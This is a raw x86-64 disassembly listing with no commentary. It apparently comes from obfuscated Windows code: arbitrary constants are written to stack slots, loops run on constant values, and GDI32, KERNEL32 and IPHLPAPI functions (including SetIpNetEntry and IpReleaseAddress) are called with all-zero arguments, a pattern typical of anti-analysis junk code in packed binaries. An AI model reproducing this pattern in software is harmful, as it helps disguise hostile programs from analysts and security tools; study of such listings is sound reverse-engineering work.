shl dword [rbp + 0x13b0], 1
mov word [rbp + 0x13ae], 0xa37f
mov dword [rbp + 0x13a8], 0x28315029
sub dword [rbp + 0x13b4], 1
cmp dword [rbp + 0x13b4], 0x55a1
jle 0x66984e40
mov dword [rbp], 0x100165cf
mov dword [rbp + 4], 0xbd9eb92
mov dword [rbp + 8], 0x407052e4
mov dword [rbp + 0xc], 0xf087deea
mov dword [rbp + 0x10], 0x3407c738
mov dword [rbp + 0x14], 0x243e2f8b
mov dword [rbp + 0x18], 0xdebb174f
mov dword [rbp + 0x1c], 0x8b20e737
mov dword [rbp + 0x13a4], 0x5ba55497
nop
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_BeginPath]
call rax
mov dword [rbp + 0x15b8], eax
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_Chord]
call rax
mov dword [rbp + 0x15b4], eax
mov dword [rbp + 0x8d0], 0x839e9f51
mov dword [rbp + 0x8d4], 0xee341b2a
mov dword [rbp + 0x8d8], 0xc25b06
mov dword [rbp + 0x8dc], 0xbb4c8699
mov dword [rbp + 0x8b0], 0x542abe6
mov dword [rbp + 0x8b4], 0x99f48f2e
mov dword [rbp + 0x8b8], 0xec7328b7
mov dword [rbp + 0x8bc], 0xf111ba4e
mov dword [rbp + 0x8c0], 0x701d71a9
mov dword [rbp + 0x8c4], 0x58bade34
mov byte [rbp + 0x13c6], 0x63
mov byte [rbp + 0x13c5], 0xc4
mov dword [rbp + 0x13c0], 0xeca060eb
mov dword [rbp + 0x13bc], 0xfc81
jmp 0x66985065
mov dword [rbp + 0x520], 0x8191eb37
mov dword [rbp + 0x524], 0x7e9f0f4e
mov dword [rbp + 0x528], 0x9e2e6c82
mov dword [rbp + 0x52c], 0x96bea9f4
mov dword [rbp - 0x30], 0x58eb7249
mov dword [rbp - 0x2c], 0xec56b5a2
mov dword [rbp - 0x28], 0xd53fda80
mov dword [rbp - 0x24], 0x307373b5
mov dword [rbp - 0x20], 0xb9897790
mov dword [rbp - 0x1c], 0xe6809ef
mov dword [rbp - 0x18], 0xc6d74cbd
mov dword [rbp - 0x14], 0x902da00c
movabs rax, 0x132a046c78d399f2
mov qword [rbp + 0x518], rax
mov word [rbp + 0x13ba], 0xb4e8
mov dword [rbp], 0x81b571ef
mov dword [rbp + 4], 0x977916c4
mov dword [rbp + 8], 0xf20246b1
mov dword [rbp + 0xc], 0xf06310db
mov dword [rbp + 0x10], 0xad71af20
mov dword [rbp + 0x14], 0x4238ec3a
mov dword [rbp + 0x18], 0x9c2d13a8
mov dword [rbp + 0x1c], 0x9fa35c5e
mov dword [rbp + 0x20], 0x986c57c8
sub dword [rbp + 0x13bc], 1
cmp dword [rbp + 0x13bc], 0x3e6c
jle 0x66984fa5
nop
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_DeleteMetaFile]
call rax
mov dword [rbp + 0x15b0], eax
movsd xmm0, qword [0x66a12bd8]
movsd qword [rbp + 0x15a8], xmm0
mov word [rbp + 0x15a6], 0x26d4
mov word [rbp + 0x8a4], 0x2bb3
mov word [rbp + 0x8a6], 0x5071
mov word [rbp + 0x8a8], 0x7775
mov word [rbp + 0x8aa], 0xf75a
mov word [rbp + 0x8ac], 0xcbd3
mov word [rbp + 0x8ae], 0x4d66
mov word [rbp + 0x13fc], 0x6f44
mov dword [rbp + 0x13f8], 0x9203fb17
mov word [rbp + 0x500], 0xc1e0
mov word [rbp + 0x502], 0xb3b3
mov word [rbp + 0x504], 0xd61b
mov word [rbp + 0x506], 0x6985
mov word [rbp + 0x508], 0x9e93
mov word [rbp + 0x50a], 0x2f5b
mov word [rbp + 0x50c], 0xbc8f
mov word [rbp + 0x50e], 0xa0e1
mov word [rbp + 0x510], 0xac01
mov word [rbp + 0x512], 0x17ab
mov dword [rbp + 0x13f4], 0x6c563934
cmp dword [rbp + 0x13f4], 0x73190e88
je 0x6698539d
cmp dword [rbp + 0x13f4], 0xa06ccee
je 0x669851f7
mov dword [rbp + 0x13f4], 0x90
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateICA]
call rax
mov qword [rbp + 0x13e8], rax
mov word [rbp + 0x4e4], 0x2e73
mov word [rbp + 0x4e6], 0x75e7
mov word [rbp + 0x4e8], 0xe36d
mov dword [rbp + 0x4c0], 0xcd6276d6
mov dword [rbp + 0x4c4], 0x9c8456c7
mov dword [rbp + 0x4c8], 0x155c79a8
mov dword [rbp + 0x4cc], 0xa2ea5c4f
mov dword [rbp + 0x4d0], 0x4604a7e8
mov dword [rbp + 0x4d4], 0x5fb981ba
mov dword [rbp + 0x4f4], 1
mov dword [rbp + 0x4f8], 1
mov dword [rbp + 0x4fc], 1
mov eax, dword [rbp + 0x13f4]
mov dword [rbp + 0x13e4], eax
nop
mov eax, dword [rbp + 0x13e4]
cmp dword [rbp + 0x13f4], eax
ja 0x66985385
mov word [rbp + 0x4a0], 0x47a4
mov word [rbp + 0x4a2], 0xbc50
mov word [rbp + 0x4a4], 0x886
mov word [rbp + 0x4a6], 0x714c
mov word [rbp + 0x4a8], 0xca39
mov word [rbp + 0x4aa], 0xa70c
mov word [rbp + 0x4ac], 0x5151
mov word [rbp + 0x4ae], 0x46aa
mov word [rbp + 0x4b0], 0x1ab3
cmp dword [rbp + 0x13f4], 0x1ed29481
ja 0x6698530b
mov byte [rbp + 0x13e3], 0x8e
mov word [rbp + 0x49a], 0x55dd
mov word [rbp + 0x49c], 0xc382
mov word [rbp + 0x49e], 0x8739
movsd xmm0, qword [0x66a12be0]
movsd qword [rbp + 0x13d8], xmm0
mov dword [rbp], 0
mov dword [rbp + 4], 1
mov dword [rbp + 8], 0
mov dword [rbp + 0xc], 1
mov dword [rbp + 0x10], 1
mov dword [rbp + 0x14], 0
mov dword [rbp + 0x18], 0
mov dword [rbp + 0x1c], 0
movsd xmm0, qword [0x66a12be8]
movsd qword [rbp + 0x13d0], xmm0
cmp dword [rbp + 0x13f4], 0x6879d7d4
ja 0x66985384
mov word [rbp + 0x480], 0x3692
mov word [rbp + 0x482], 0xbdae
mov word [rbp + 0x484], 0xf2a8
mov word [rbp + 0x486], 0xf0c4
mov word [rbp + 0x488], 0xc3c3
mov word [rbp + 0x48a], 0x247b
mov word [rbp + 0x48c], 0x4ab7
mov word [rbp + 0x48e], 0x33ea
mov word [rbp + 0x490], 0xb29a
mov word [rbp + 0x492], 0xbe6d
add dword [rbp + 0x13f4], 1
mov dword [rbp + 0x13cc], 0x952085e
jmp 0x66985385
nop
movabs rax, 0x7778bb6dd72fa4b3
mov qword [rbp + 0x4eb], rax
mov byte [rbp + 0x4f3], 0xb
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeaps]
call rax
mov dword [rbp + 0x13c8], eax
mov byte [rbp + 0x13c7], 5
nop
mov word [rbp + 0x8a1], 0x813
mov byte [rbp + 0x8a3], 0x48
mov word [rbp + 0x894], 0xc092
mov word [rbp + 0x896], 0xbff4
mov word [rbp + 0x898], 0xfa96
mov word [rbp + 0x89a], 0xcc3
mov word [rbp + 0x89c], 0x3771
mov word [rbp + 0x89e], 0xe8de
mov dword [rbp + 0x880], 0x3ff5f755
mov dword [rbp + 0x884], 0xea0a3c03
mov dword [rbp + 0x888], 0x2312aa85
mov dword [rbp + 0x88c], 0x76a95586
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_DeleteEnhMetaFile]
call rax
mov dword [rbp + 0x1404], eax
lea rcx, [section..rdata]
mov rax, qword [sym.imp.GDI32.dll_AddFontResourceA]
call rax
mov dword [rbp + 0x1400], eax
mov byte [rbp + 0x13ff], 0xb6
nop
mov word [rbp + 0x15a4], 0x2618
mov word [rbp + 0x15a4], 0x3267
mov byte [rbp + 0x15a3], 0x1e
mov dword [rbp + 0x1434], 0x29b1e0eb
mov word [rbp + 0x1432], 0x854e
movsd xmm0, qword [0x66a12bf0]
movsd qword [rbp + 0x1428], xmm0
mov word [rbp + 0x474], 0x25d2
mov word [rbp + 0x476], 0x3637
mov word [rbp + 0x478], 0xa1e6
mov word [rbp + 0x47a], 0xa16f
mov word [rbp + 0x47c], 0x4e18
mov word [rbp + 0x47e], 0x29fa
mov dword [rbp + 0x1424], 0x9310
jmp 0x6698556a
mov dword [rbp], 1
mov dword [rbp + 4], 1
mov dword [rbp + 8], 0
mov dword [rbp + 0xc], 1
mov dword [rbp + 0x10], 0
mov dword [rbp + 0x14], 1
mov dword [rbp + 0x18], 0
mov dword [rbp + 0x1c], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateICW]
call rax
mov qword [rbp + 0x1418], rax
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateICW]
call rax
mov qword [rbp + 0x1410], rax
add dword [rbp + 0x1424], 1
cmp dword [rbp + 0x1424], 0x7a66
je 0x669854df
mov dword [rbp + 0x140c], 0xbe4d
cmp dword [rbp + 0x140c], 0xb902
jne 0x669855aa
mov word [rbp + 0x140a], 0xe4d3
movzx eax, word [rbp + 0x140a]
imul eax, eax
mov word [rbp + 0x140a], ax
nop
mov byte [rbp + 0x15a2], 0xfc
mov dword [rbp + 0x159c], 0x6d022e40
mov word [rbp + 0x159a], 0x92fb
mov dword [rbp + 0x860], 0x1487f54d
mov dword [rbp + 0x864], 0x992cb4e
mov dword [rbp + 0x868], 0xeab408bf
mov dword [rbp + 0x86c], 0x2fc76739
mov dword [rbp + 0x870], 0x89e38a20
mov dword [rbp + 0x874], 0xf8227e3f
mov word [rbp + 0x145a], 0x6c0b
movss xmm0, dword [0x66a12bf8]
movss dword [rbp + 0x1454], xmm0
mov byte [rbp + 0x1453], 0x61
movsd xmm0, qword [0x66a12c00]
movsd qword [rbp + 0x1448], xmm0
mov dword [rbp + 0x420], 0x3ef704d
mov dword [rbp + 0x424], 0x9c63906b
mov dword [rbp + 0x428], 0x5e773041
mov dword [rbp + 0x42c], 0x8f79769d
mov dword [rbp + 0x430], 0xc2e7194e
mov dword [rbp + 0x434], 0x3e99a511
mov dword [rbp + 0x438], 0xf4fe16a4
mov dword [rbp + 0x1444], 0xe0ca0d0a
mov dword [rbp + 0x1440], 0x8e6c
jmp 0x669857ed
mov word [rbp + 0x400], 0xd493
mov word [rbp + 0x402], 0xfa68
mov word [rbp + 0x404], 0xe1a6
mov word [rbp + 0x406], 0x6a62
mov word [rbp + 0x408], 0xa6dc
mov word [rbp + 0x40a], 0x34c1
mov word [rbp + 0x40c], 0xc528
mov word [rbp + 0x40e], 0x9bdc
mov word [rbp + 0x410], 0x3eb6
mov word [rbp + 0x412], 0x745c
mov dword [rbp + 0x3e0], 0x6dba8d48
mov dword [rbp + 0x3e4], 0xbcf18b2e
mov dword [rbp + 0x3e8], 0xddabf450
mov dword [rbp + 0x3ec], 0x88a392cf
mov dword [rbp + 0x3f0], 0xacfdbfd0
mov dword [rbp + 0x3f4], 0xf4d1d2b6
mov dword [rbp + 0x3f8], 0x7609d5a9
mov dword [rbp + 0x143c], 0xd0c1
mov eax, dword [rbp + 0x1444]
cmp eax, dword [rbp + 0x143c]
jg 0x669857c2
mov dword [rbp + 0x1438], 0xd36c5b6b
movabs rax, 0xfd22e531aa384d4d
mov qword [rbp + 0x3cd], rax
mov byte [rbp + 0x3d5], 0xe0
mov word [rbp + 0x3b0], 0xe6e0
mov word [rbp + 0x3b2], 0x8a80
mov word [rbp + 0x3b4], 0x4e76
mov word [rbp + 0x3b6], 0x6cdd
mov word [rbp + 0x3b8], 0x8bec
mov word [rbp + 0x3ba], 0xed52
mov word [rbp + 0x3bc], 0x5528
mov word [rbp + 0x3be], 0x6ed4
mov word [rbp + 0x3ad], 0xa91d
mov byte [rbp + 0x3af], 2
movabs rax, 0x98132899fe58da60
mov qword [rbp + 0x3d6], rax
mov word [rbp + 0x3de], 0xc4e6
mov eax, dword [rbp + 0x1440]
sub eax, 0x76e70954
mov dword [rbp + 0x1440], eax
cmp dword [rbp + 0x1440], 0x9aed
jle 0x66985690
nop
mov word [rbp + 0x85a], 0x1559
mov word [rbp + 0x85c], 0x605d
mov word [rbp + 0x85e], 0xfb42
mov word [rbp + 0x1598], 0x18f5
mov word [rbp + 0x1596], 0xd462
mov byte [rbp + 0x1595], 0xfb
mov byte [rbp + 0x145f], 0xa7
mov word [rbp + 0x360], 0x1ec5
mov word [rbp + 0x362], 0xba00
mov word [rbp + 0x364], 0x269e
mov word [rbp + 0x366], 0x7766
mov word [rbp + 0x368], 0xf883
mov word [rbp + 0x36a], 0xf7e2
mov word [rbp + 0x145c], 0x797e
nop
movsd xmm0, qword [0x66a12c08]
movsd qword [rbp + 0x1588], xmm0
movss xmm0, dword [0x66a12c10]
movss dword [rbp + 0x1584], xmm0
mov word [rbp + 0x1582], 0xadb5
mov dword [rbp + 0x854], 0x89a1777c
mov word [rbp + 0x858], 0x22d9
mov word [rbp + 0x146a], 0xa82c
movss xmm0, dword [0x66a12c14]
movss dword [rbp + 0x1464], xmm0
mov byte [rbp + 0x1463], 0x46
mov word [rbp + 0x1460], 0xff0f
nop
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateDCW]
call rax
mov qword [rbp + 0x1578], rax
mov dword [rbp + 0x848], 0x2c8d5c15
mov dword [rbp + 0x84c], 0x3e3dae38
mov dword [rbp + 0x850], 0xd451661d
mov word [rbp + 0x845], 0xb491
mov byte [rbp + 0x847], 0x4e
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_BeginPath]
call rax
mov dword [rbp + 0x1574], eax
mov dword [rbp - 0x30], 0x21f46e0b
mov dword [rbp - 0x2c], 0x648cbb85
mov dword [rbp - 0x28], 0xb1f63f55
mov dword [rbp - 0x24], 0x38d602d0
mov dword [rbp - 0x20], 0x1d69d2b3
mov dword [rbp - 0x1c], 0xcbd692d4
mov dword [rbp - 0x18], 0xcfa6cdfe
mov dword [rbp - 0x14], 0xfb9e64f0
movsd xmm0, qword [0x66a12c18]
movsd qword [rbp + 0x1470], xmm0
movsd xmm0, qword [0x66a12c20]
movsd qword [rbp], xmm0
movsd xmm0, qword [0x66a12c28]
movsd qword [rbp + 8], xmm0
movsd xmm0, qword [0x66a12c30]
movsd qword [rbp + 0x10], xmm0
movsd xmm0, qword [0x66a12c38]
movsd qword [rbp + 0x18], xmm0
movsd xmm0, qword [0x66a12c40]
movsd qword [rbp + 0x20], xmm0
movsd xmm0, qword [0x66a12c48]
movsd qword [rbp + 0x28], xmm0
movsd xmm0, qword [0x66a12c50]
movsd qword [rbp + 0x30], xmm0
movsd xmm0, qword [0x66a12c58]
movsd qword [rbp + 0x38], xmm0
movsd xmm0, qword [0x66a12c60]
movsd qword [rbp + 0x40], xmm0
movss xmm0, dword [0x66a12c68]
movss dword [rbp + 0x146c], xmm0
mov word [rbp + 0x340], 0x638c
mov word [rbp + 0x342], 0x14fb
mov word [rbp + 0x344], 0xb377
mov word [rbp + 0x346], 0x6dd0
mov word [rbp + 0x348], 0x8a8f
mov word [rbp + 0x34a], 0x6d43
mov word [rbp + 0x34c], 0x3b9d
mov word [rbp + 0x34e], 0x5a0a
mov word [rbp + 0x350], 0xe4c3
nop
movsd xmm0, qword [0x66a12c70]
movsd qword [rbp + 0x1568], xmm0
pxor xmm0, xmm0
movss dword [rsp + 0x28], xmm0
pxor xmm0, xmm0
movss dword [rsp + 0x20], xmm0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_AngleArc]
call rax
mov dword [rbp + 0x1564], eax
movsd xmm0, qword [0x66a12c78]
movsd qword [rbp + 0x800], xmm0
movsd xmm0, qword [0x66a12c80]
movsd qword [rbp + 0x808], xmm0
movsd xmm0, qword [0x66a12c88]
movsd qword [rbp + 0x810], xmm0
movsd xmm0, qword [0x66a12c90]
movsd qword [rbp + 0x818], xmm0
movsd xmm0, qword [0x66a12c98]
movsd qword [rbp + 0x820], xmm0
movsd xmm0, qword [0x66a12ca0]
movsd qword [rbp + 0x828], xmm0
movsd xmm0, qword [0x66a12ca8]
movsd qword [rbp + 0x830], xmm0
mov dword [rbp + 0x1484], 0x9594607b
mov dword [rbp + 0x1480], 0x23f7dd41
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov qword [rbp + 0x1478], rax
mov rax, qword [rbp + 0x1478]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov word [rbp + 0x330], 0x6f26
mov word [rbp + 0x332], 0x4421
mov word [rbp + 0x334], 0x3208
mov word [rbp + 0x336], 0x1f9
mov word [rbp + 0x338], 0x210c
mov word [rbp + 0x33a], 0x183d
mov word [rbp + 0x33c], 0x56d1
mov word [rbp + 0x33e], 0x9ac8
nop
mov dword [rbp + 0x1560], 0
mov dword [rbp + 0x1560], 0xe5
mov word [rbp + 0x149e], 0x8758
movsd xmm0, qword [0x66a12cb0]
movsd qword [rbp + 0x1490], xmm0
mov dword [rbp], 0x289de57
mov dword [rbp + 4], 0xe2541e5e
mov dword [rbp + 8], 0xca2bb7b9
mov dword [rbp + 0xc], 0xb94c6cc3
mov dword [rbp + 0x10], 0xb9242216
mov dword [rbp + 0x14], 0x59765b95
mov dword [rbp + 0x18], 0xdd97091f
mov dword [rbp + 0x1c], 0x1e2c2785
mov dword [rbp + 0x20], 0x849f04
movsd xmm0, qword [0x66a12cb8]
movsd qword [rbp + 0x1488], xmm0
nop
mov dword [rbp + 0x155c], 0xe2359d02
mov word [rbp + 0x7e0], 0xd304
mov word [rbp + 0x7e2], 0x9712
mov word [rbp + 0x7e4], 0xbc0d
mov word [rbp + 0x7e6], 0x324a
mov word [rbp + 0x7e8], 0xd0a7
mov word [rbp + 0x7ea], 0xf140
mov word [rbp + 0x7ec], 0xdf7
mov word [rbp + 0x7ee], 0xa494
mov word [rbp + 0x7f0], 0xd523
mov word [rbp + 0x7f2], 0x57fd
mov ecx, 0
call sub.IPHLPAPI.DLL_SetIpNetEntry
mov dword [rbp + 0x1558], eax
mov dword [rbp + 0x14b4], 0
mov eax, dword [rbp + 0x14b4]
mov dword [rbp + 0x14b0], eax
jmp 0x66985d0f
mov ecx, 0
call sub.IPHLPAPI.DLL_GetTcpStatistics
mov dword [rbp + 0x14ac], eax
movsd xmm0, qword [0x66a12cc0]
movsd qword [rbp + 0x14a0], xmm0
mov dword [rbp + 0x27c], 0x5be17b02
mov word [rbp + 0x270], 0x63db
mov word [rbp + 0x272], 0xcad1
mov word [rbp + 0x274], 0xf7ce
mov word [rbp + 0x276], 0xdcd1
mov word [rbp + 0x278], 0x57ac
mov word [rbp + 0x27a], 0xdb1
sub dword [rbp + 0x14b0], 1
mov eax, dword [rbp + 0x14b4]
cmp eax, dword [rbp + 0x14b0]
jg 0x66985ca8
movsd xmm0, qword [0x66a12cc8]
movsd qword [rbp + 0x280], xmm0
movsd xmm0, qword [0x66a12cd0]
movsd qword [rbp + 0x288], xmm0
movsd xmm0, qword [0x66a12cd8]
movsd qword [rbp + 0x290], xmm0
nop
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_Chord]
call rax
mov dword [rbp + 0x1554], eax
mov byte [rbp + 0x1553], 0xe3
mov dword [rbp + 0x7c0], 0xf3a57b3f
mov dword [rbp + 0x7c4], 0xadd1c0ce
mov dword [rbp + 0x7c8], 0xe1310a21
mov dword [rbp + 0x7cc], 0x75530358
mov dword [rbp + 0x7d0], 0x44e18bc5
mov dword [rbp + 0x7d4], 0xc5f58a26
mov byte [rbp + 0x1552], 0xef
mov byte [rbp + 0x14df], 0xad
movsd xmm0, qword [0x66a12ce0]
movsd qword [rbp + 0x14d0], xmm0
mov dword [rbp + 0x14cc], 0
mov dword [rbp + 0x250], 0x11b29f53
mov dword [rbp + 0x254], 0x204ef0e2
mov dword [rbp + 0x258], 0xe3508fa8
mov dword [rbp + 0x25c], 0x9c51329f
mov dword [rbp + 0x260], 0x10dbbbcf
mov dword [rbp + 0x264], 0x621d78cd
mov dword [rbp + 0x14c8], 0x3619c05b
mov dword [rbp + 0x14c4], 0xcb7e
cmp dword [rbp + 0x14c4], 0x14ef
jg 0x66985f52
sub dword [rbp + 0x14c8], 0x4f1c22e
mov dword [rbp], 0
mov dword [rbp + 4], 1
mov dword [rbp + 8], 1
mov dword [rbp + 0xc], 1
mov dword [rbp + 0x10], 0
mov dword [rbp + 0x14], 1
mov dword [rbp + 0x18], 0
mov dword [rbp + 0x1c], 0
mov dword [rbp + 0x20], 0
mov word [rbp + 0x224], 0xdca3
mov word [rbp + 0x226], 0x28b6
mov word [rbp + 0x228], 0xba25
mov word [rbp + 0x22a], 0x302f
mov word [rbp + 0x22c], 0xb15c
mov word [rbp + 0x22e], 0xad7f
mov dword [rbp + 0x218], 0xf01354f8
mov dword [rbp + 0x21c], 0xb19871bf
mov dword [rbp + 0x220], 0x4e656341
mov word [rbp + 0x14c2], 0x93eb
mov dword [rbp + 0x230], 0x2d468fa0
mov dword [rbp + 0x234], 0x1edbf2a2
mov dword [rbp + 0x238], 0xee101537
mov dword [rbp + 0x23c], 0x2a3908d
mov dword [rbp + 0x240], 0xa798d5cc
mov dword [rbp + 0x244], 0x70168d4
mov dword [rbp + 0x248], 0x9cc18ff9
mov ecx, 0
call sub.IPHLPAPI.DLL_IpReleaseAddress
mov dword [rbp + 0x14bc], eax
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CloseFigure]
call rax
mov dword [rbp + 0x14b8], eax
nop
mov dword [rbp + 0x154c], 0xce96f061
add dword [rbp + 0x154c], 1
mov word [rbp + 0x7b6], 0xe466
mov word [rbp + 0x7b8], 0x594c
mov word [rbp + 0x7ba], 0x2a5e
mov word [rbp + 0x7bc], 0x9450
mov word [rbp + 0x7be], 0x36f6
mov word [rbp + 0x14e6], 0x8687
mov word [rbp + 0x215], 0x47c
mov byte [rbp + 0x217], 0xf1
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov dword [rbp + 0x14e0], eax
nop
mov word [rbp + 0x154a], 0xc744
mov byte [rbp + 0x1549], 0x44
mov dword [rbp + 0x1544], 0xb191f03b
mov dword [rbp + 0x780], 1
mov dword [rbp + 0x784], 0
mov dword [rbp + 0x788], 0
mov dword [rbp + 0x78c], 0
mov dword [rbp + 0x790], 0
mov dword [rbp + 0x794], 0
mov dword [rbp + 0x798], 1
mov dword [rbp + 0x79c], 0
mov dword [rbp + 0x7a0], 0
mov dword [rbp + 0x7a4], 0
mov dword [rbp + 0x14f0], 0xf735dfbd
mov word [rbp + 0x200], 0x758
mov word [rbp + 0x202], 0x33e
mov word [rbp + 0x204], 0xf8bc
mov word [rbp + 0x206], 0x2cee
mov word [rbp + 0x208], 0x550e
mov word [rbp + 0x20a], 0x4e55
mov word [rbp + 0x20c], 0x9e39
mov word [rbp + 0x20e], 0x5048
mov dword [rbp + 0x1fc], 0x4cf8daf6
mov dword [rbp + 0x14f0], 0x5b
mov byte [rbp + 0x14ef], 0x10
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_BeginPath]
call rax
mov dword [rbp + 0x14e8], eax
mov word [rbp + 0x1e0], 0xf620
mov word [rbp + 0x1e2], 0xb1f0
mov word [rbp + 0x1e4], 0xb9dc
mov word [rbp + 0x1e6], 0xf4d4
mov word [rbp + 0x1e8], 0x4063
mov word [rbp + 0x1ea], 0x173f
mov word [rbp + 0x1ec], 0xd8cb
mov word [rbp + 0x1ee], 0x13d8
mov word [rbp + 0x1f0], 0xa63c
nop
mov dword [rbp + 0x1540], 0x8e993bcf
mov dword [rbp + 0x760], 0xf12be354
mov dword [rbp + 0x764], 0xd6327a6c
mov dword [rbp + 0x768], 0x68b2b147
mov dword [rbp + 0x76c], 0xa840c889
mov dword [rbp + 0x770], 0xcc661c65
mov dword [rbp + 0x774], 0x89d0babb
mov dword [rbp + 0x778], 0xf1019a02
mov byte [rbp + 0x153f], 0x46
mov dword [rbp + 0x754], 0x270cdf93
mov dword [rbp + 0x758], 0xcb2735ec
mov dword [rbp + 0x75c], 0x67418d61
mov dword [rbp + 0x1538], 0
mov dword [rbp + 0x74e], 0x8e3699f4
mov word [rbp + 0x752], 0xfa1f
mov dword [rbp + 0x720], 0x4e64cc44
mov dword [rbp + 0x724], 0x71ce5300
mov dword [rbp + 0x728], 0x3fd02b5a
mov dword [rbp + 0x72c], 0x3c848478
mov dword [rbp + 0x730], 0xb3d46f10
mov dword [rbp + 0x734], 0xc9a1e563
mov dword [rbp + 0x738], 0x98e8b0fa
mov dword [rbp + 0x73c], 0xdd9c2af6
mov dword [rbp + 0x740], 0xb3661d1e
mov dword [rbp + 0x744], 0xd2d20f3d
movss xmm0, dword [0x66a12ce8]
movss dword [rbp + 0x6f0], xmm0
movss xmm0, dword [0x66a12cec]
movss dword [rbp + 0x6f4], xmm0
movss xmm0, dword [0x66a12cf0]
movss dword [rbp + 0x6f8], xmm0
movss xmm0, dword [0x66a12cf4]
movss dword [rbp + 0x6fc], xmm0
movss xmm0, dword [0x66a12cf8]
movss dword [rbp + 0x700], xmm0
movss xmm0, dword [0x66a12cfc]
movss dword [rbp + 0x704], xmm0
movss xmm0, dword [0x66a12d00]
movss dword [rbp + 0x708], xmm0
movss xmm0, dword [0x66a12d04]
movss dword [rbp + 0x70c], xmm0
movss xmm0, dword [0x66a12d08]
movss dword [rbp + 0x710], xmm0
movss xmm0, dword [0x66a12d0c]
movss dword [rbp + 0x714], xmm0
nop
add rsp, 0x1900
pop rbp
ret